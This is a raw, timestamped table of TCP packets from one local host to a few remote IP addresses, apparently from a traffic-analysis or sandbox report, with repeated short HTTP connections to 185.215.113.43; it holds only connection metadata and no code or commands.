Sep 29, 2024 01:02:50.884406090 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.884717941 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:50.931397915 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.999828100 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.999871016 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.001254082 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.001712084 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.001729012 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.122785091 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.122828960 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.123064041 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.123091936 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.125775099 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.128313065 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.128324032 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.132658005 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.132752895 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.132764101 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.138770103 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.140285015 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.140304089 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.145301104 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.145745993 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.145757914 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.152009964 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.152091026 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.152101994 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.158353090 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.158396006 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.158406019 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.164838076 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.164885998 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.164894104 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.213200092 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.213263988 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.213291883 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.214905024 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.214960098 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.214971066 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.221488953 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.223134041 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.223145008 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.227982044 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.228761911 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.228770018 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.234468937 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.234539986 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.234553099 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.241034031 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.242252111 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.242269039 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.247487068 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.247601986 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.247616053 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.254111052 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.254157066 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.254168034 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.260607958 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.261167049 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.261176109 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.266657114 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.267684937 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.267693996 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.272283077 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.272352934 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.272361040 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.277905941 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.278521061 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.278529882 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.283539057 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.283649921 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.283658028 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.289176941 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.289943933 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.289966106 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.294732094 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.296283960 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.296302080 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.300388098 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.300926924 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.300939083 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.306041002 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.306216955 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.306226969 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.309952974 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.312266111 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.312278032 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.314102888 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.314173937 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.314183950 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.317867994 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.318023920 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.318032980 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.321777105 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.321939945 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.321949005 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.325287104 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.328788996 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.328834057 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.328855991 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.328867912 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.328911066 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.332436085 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.332808018 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.332818031 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.336138964 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.336195946 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.336204052 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.339720964 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.339773893 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.339782000 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.343245029 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.343292952 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.343301058 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.346899986 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.346951962 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.346961021 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.350415945 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.350471973 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.350486994 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.354120016 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.354177952 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.354188919 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.357656956 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.357707024 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.357718945 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.361308098 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.361361980 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.361370087 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.364835024 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.364883900 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.364892960 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.368653059 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.368700981 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.368710041 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.372037888 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.372090101 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.372100115 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.375626087 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.375684977 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.375694990 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.379074097 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.379127026 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.379136086 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.382543087 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.382594109 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.382602930 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.385852098 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.385921001 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.385943890 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.389036894 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.389070988 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.389108896 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.389122009 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.389184952 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.392146111 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.395288944 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.395347118 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.395355940 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.395502090 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.395567894 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.395750999 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:51.395770073 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:51.648269892 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.648701906 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.648730993 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.649135113 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.649487019 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.649552107 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.649746895 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.649782896 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:51.649789095 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:51.920275927 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:51.920548916 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:52.221136093 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:52.245718956 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:52.245858908 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:52.245939970 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:52.246449947 CEST	49800	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:52.246469975 CEST	443	49800	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:52.248810053 CEST	80	49801	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:52.248831034 CEST	80	49797	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:52.248842001 CEST	80	49797	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:52.249005079 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:52.249057055 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:52.249141932 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:52.253890991 CEST	80	49801	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:52.978130102 CEST	80	49801	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:52.978355885 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:53.761750937 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:53.762320042 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:54.488989115 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:54.489381075 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:54.494250059 CEST	80	49801	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:54.494344950 CEST	49801	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:54.494469881 CEST	80	49803	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:54.494534016 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:54.494690895 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:54.501247883 CEST	80	49803	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:54.564373016 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:55.200481892 CEST	80	49803	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:55.200541019 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:55.601166010 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:55.606098890 CEST	80	49804	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:55.606206894 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:55.606322050 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:55.611067057 CEST	80	49804	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:56.304117918 CEST	80	49804	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:56.304202080 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:56.306915998 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:56.311736107 CEST	80	49804	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:56.532269001 CEST	80	49804	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:56.532429934 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:56.819969893 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:56.820322990 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:56.825310946 CEST	80	49805	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:56.825382948 CEST	80	49803	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:56.825390100 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:56.825433969 CEST	49803	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:56.825546026 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:56.830316067 CEST	80	49805	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:57.540358067 CEST	80	49805	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:57.540422916 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.053670883 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.053993940 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.058808088 CEST	80	49806	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:59.058847904 CEST	80	49805	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:59.059000015 CEST	49805	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.059020996 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.059171915 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:59.064018965 CEST	80	49806	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:59.765206099 CEST	80	49806	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:59.765335083 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.378606081 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.379007101 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.382087946 CEST	49804	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:01.383831978 CEST	80	49806	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:01.383898973 CEST	49806	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.384136915 CEST	80	49807	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:01.384212017 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.384352922 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:01.389238119 CEST	80	49807	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:02.091289043 CEST	80	49807	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:02.091403961 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:02.217387915 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:02.222398996 CEST	80	49808	185.215.113.37	192.168.2.8
Sep 29, 2024 01:03:02.222497940 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:02.225781918 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:02.230550051 CEST	80	49808	185.215.113.37	192.168.2.8
Sep 29, 2024 01:03:02.936381102 CEST	80	49808	185.215.113.37	192.168.2.8
Sep 29, 2024 01:03:02.936678886 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:02.938967943 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:02.943878889 CEST	80	49808	185.215.113.37	192.168.2.8
Sep 29, 2024 01:03:03.167149067 CEST	80	49808	185.215.113.37	192.168.2.8
Sep 29, 2024 01:03:03.167220116 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:03.600213051 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:03.600647926 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:03.607748985 CEST	80	49809	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:03.607841969 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:03.607966900 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:03.608108044 CEST	80	49807	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:03.608165979 CEST	49807	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:03.612797022 CEST	80	49809	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:04.348133087 CEST	80	49809	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:04.348262072 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.787781954 CEST	49808	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:03:05.969966888 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.970834017 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.975449085 CEST	80	49809	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:05.975665092 CEST	49809	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.975841045 CEST	80	49810	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:05.975934029 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.976056099 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:05.980833054 CEST	80	49810	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:05.982887983 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:03:05.987926960 CEST	80	49722	185.215.113.103	192.168.2.8
Sep 29, 2024 01:03:06.717067003 CEST	80	49810	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:06.717291117 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.224678040 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.224971056 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.229742050 CEST	80	49811	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:08.229852915 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.229907036 CEST	80	49810	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:08.229971886 CEST	49810	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.230108023 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:08.234796047 CEST	80	49811	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:08.942163944 CEST	80	49811	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:08.942315102 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.571628094 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.571878910 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.576724052 CEST	80	49812	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:10.576792955 CEST	80	49811	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:10.576950073 CEST	49811	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.576951981 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.577496052 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:10.582508087 CEST	80	49812	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:11.268052101 CEST	80	49812	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:11.268135071 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.774020910 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.774112940 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.781173944 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:12.781250954 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.781371117 CEST	80	49812	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:12.781534910 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.781573057 CEST	49812	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:12.787751913 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:13.187161922 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.187218904 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:13.187515974 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.337114096 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.337143898 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:13.487179041 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:13.487237930 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:13.867948055 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.867983103 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:13.868052959 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.868318081 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:13.868334055 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.010344028 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.011046886 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.011064053 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.011631966 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.012851954 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.012918949 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.013027906 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.013027906 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.013053894 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.341053963 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.342376947 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.346441984 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.346811056 CEST	49814	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.346831083 CEST	443	49814	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.554508924 CEST	443	49815	142.250.185.174	192.168.2.8
